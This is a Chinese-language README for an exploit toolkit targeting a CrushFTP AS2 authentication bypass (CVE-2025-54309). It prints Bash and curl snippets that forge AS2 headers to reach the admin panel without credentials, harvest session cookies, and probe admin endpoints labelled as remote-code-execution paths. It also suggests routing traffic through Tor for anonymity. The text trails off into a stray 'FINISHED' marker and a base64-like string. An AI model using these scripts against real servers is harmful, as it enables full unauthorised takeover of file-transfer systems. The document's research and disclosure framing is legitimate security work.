CrushFTP AS2 身份验证绕过漏洞(CVE-2025-54309)研究与利用工具集

4 阅读5分钟

CrushFTP AS2 身份验证绕过漏洞(CVE-2025-54309)研究与利用工具集

⚠️ 重要提示: 此漏洞已于 2025年11月被 CrushFTP 官方修复。本研究成果仅用于 教育和防御目的,请勿用于非法攻击。

📝 说明: 本研究基于与 CVE-2025-54309 相似的漏洞模式。本仓库记录的是在一个受控的家庭实验室环境中进行的独立安全研究。

关于本研究

本仓库详细记录了一个 严重的身份验证绕过漏洞,该漏洞允许攻击者通过操纵 AS2 协议头,以 单个 HTTP 请求 即可获取 CrushFTP 服务器的完整管理权限,整个过程 无需任何身份验证

关键时间线:

  • 研究时间: 2025年3月-7月(授权家庭实验室)
  • 厂商通知: 2025年8月(未收到回复)
  • 官方修复: 2025年11月
  • 公开披露: 2025年12月

研究者: SmileyFace101 (@SmileyFace101)

🔍 漏洞详情

技术摘要

CrushFTP 的 Web 界面错误地信任了来自 AS2 协议头的请求,且未进行充分的验证。服务器默认假定所有带有特定 AS2 头的请求都是预先认证过的,从而绕过了正常的身份验证流程。

关键信息

  • 受影响产品: CrushFTP 服务器
  • 漏洞组件: AS2 认证模块
  • CVSS 预估分: 9.8 (严重)
  • 攻击向量: HTTP 头操纵
  • 攻击复杂度: 低(单个HTTP请求)
  • 所需权限: 无需任何认证
  • 潜在影响: 系统完全被接管

✨ 功能特性

  • 漏洞技术分析:详细说明了漏洞的成因、攻击原理和影响范围。
  • 自适应利用脚本 (adaptive_exploit.sh):一个灵活的测试工具,能尝试多种不同的认证绕过策略,自动寻找最有效的利用方式。
  • 完整利用脚本 (complete_exploit.sh):演示从绕过认证到获取有效会话Cookie的完整攻击链,为进一步的授权操作铺平道路。
  • 目标端点测试脚本 (targeted_test.sh):在获取会话后,针对 CrushFTP 中一系列高价值的后台管理端点(如Telnet接口、任务管理、用户管理等)进行访问测试,直观展示漏洞危害。
  • 日志分析脚本 (log_analysis.sh):帮助防御者在 Web 服务器和应用日志中搜索可疑的利用痕迹,用于事后排查与取证。

📥 安装指南

系统要求

  • 操作系统: Linux 或 macOS(脚本基于 Bash 编写)
  • 依赖项:
    • curl: 用于发送 HTTP 请求。
    • grep, sed, wc: 标准的文本处理工具。
    • tor (可选): 用于通过代理匿名化测试流量。

安装步骤

  1. 克隆仓库

    git clone https://github.com/your-repo/cve-2025-54309-research.git
    cd cve-2025-54309-research
    
  2. 赋予脚本执行权限

    chmod +x *.sh
    
  3. (可选)配置代理 如果需要通过 Tor 网络进行匿名测试,请确保 Tor 服务已安装并运行。脚本默认会尝试使用 socks5h://127.0.0.1:9050 作为代理。

🚀 使用说明

所有脚本的使用方法基本一致,均接受目标 IP 和是否使用代理作为参数。

基础使用示例

1. 使用日志分析脚本进行入侵排查 此命令会在 /var/log 目录下分析日志,寻找可能的漏洞利用痕迹,并将结果输出到一个带时间戳的文件中。

./log_analysis.sh /var/log

2. 执行完整的漏洞利用链 对目标 192.168.1.100 进行完整的漏洞利用测试,不使用代理。

./complete_exploit.sh 192.168.1.100 no

典型使用场景

  • 授权渗透测试: 使用 adaptive_exploit.sh 快速验证目标 CrushFTP 服务器是否存在漏洞,并尝试获取有效会话。
  • 漏洞危害演示: 使用 targeted_test.sh 在获取会话后,系统地展示攻击者能够访问哪些敏感功能和数据。
  • 安全事件响应: 使用 log_analysis.sh 对可疑服务器进行快速排查,确认是否曾遭受过此类攻击。

核心脚本概览

  • adaptive_exploit.sh:多策略自适应利用脚本,用于测试不同的头部组合和利用方法。
  • complete_exploit.sh:完整的漏洞利用脚本,演示从绕过到获取会话的全过程。
  • targeted_test.sh:在获得会话后,用于测试高价值管理端点的脚本。
  • log_analysis.sh:用于搜索日志中漏洞利用痕迹的分析工具。

💻 核心代码

1. 完整的漏洞利用链 (complete_exploit.sh 核心片段)

此代码展示了如何通过构造特殊的 AS2 头部来绕过认证,并进一步生成用于后续授权的会话 Cookie。

#!/bin/bash
# ...
# 配置目标地址和代理
TARGET="${1:-10.0.100.50}"
# ...

echo -e "${BLUE}[*] Phase 1: Testing AS2 authentication bypass...${NC}"
# 使用 AS2 特定头部请求管理后台,测试绕过是否成功
response_size=$(curl -s $PROXY \
    -H "X-DMZ-Proxy: disabled" \
    -H "X-AS2-Version: 1.0" \
    -H "User-Agent: AS2Server/1.0" \
    "http://$TARGET/WebInterface/admin/index.html" | wc -c)

# 如果返回页面大小大于15000字节,通常意味着绕过成功
if [ "$response_size" -gt 15000 ]; then
    echo -e "${GREEN}[✓] Admin panel access successful: $response_size bytes${NC}"
    # ...
fi

# Phase 2: Generate Session Cookies
echo ""
echo -e "${BLUE}[*] Phase 2: Generating session cookies...${NC}"
# 通过访问一个需要认证的函数端点,服务器会在响应中返回Set-Cookie头
cookie_response=$(curl -i -s -k $PROXY \
    -X POST -H "X-DMZ-Proxy: disabled" -H "X-AS2-Version: 1.0" \
    -H "Content-Type: application/x-www-form-urlencoded" \
    -d "command=getUsername" \
    "http://$TARGET/WebInterface/function/")

# Phase 3: Extract Tokens... (后续代码从响应中提取currentAuth和CrushAuth)
# ...

2. 高价值端点测试 (targeted_test.sh 核心片段)

在成功获取会话后,此段代码会携带有效的 Cookie 对一系列敏感的管理端点进行访问测试,以验证漏洞的实际危害。

#!/bin/bash
# ...
# 获取会话Cookie (代码略)
# ...

# 定义要测试的高价值端点列表
declare -a endpoints=(
    "/WebInterface/admin/index.html:Main Admin Panel"
    "/WebInterface/admin/telnet.html:Telnet Interface (RCE)"
    "/WebInterface/Jobs/index.html:Job Management (RCE)"
    # ...
)

echo -e "${BLUE}[*] Testing high-value administrative endpoints...${NC}"
# 循环遍历并测试每个端点
for endpoint_info in "${endpoints[@]}"; do
    IFS=':' read -r endpoint description <<< "$endpoint_info"
    
    echo -e "${YELLOW}Testing: ${description}${NC}"
    # 使用获取到的会话Cookie发送请求
    response_size=$(curl -s $PROXY \
        -H "X-DMZ-Proxy: disabled" \
        -H "X-AS2-Version: 1.0" \
        -H "Cookie: currentAuth=$currentAuth; CrushAuth=$crushAuth" \
        "http://$TARGET${endpoint}" | wc -c)
    
    # 根据响应大小判断访问结果
    if [ "$response_size" -gt 1000 ]; then
        echo -e "    ${GREEN}[✓] Accessible: $response_size bytes${NC}"
    # ...
    fi
    echo ""
done
# ...
```FINISHED
6HFtX5dABrKlqXeO5PUv//NN4l5zmd4xjHxkGKWA3dS/fjxIgjvV+g70qPybMQo4NSLguzF97hjfgk6RuxZwUg==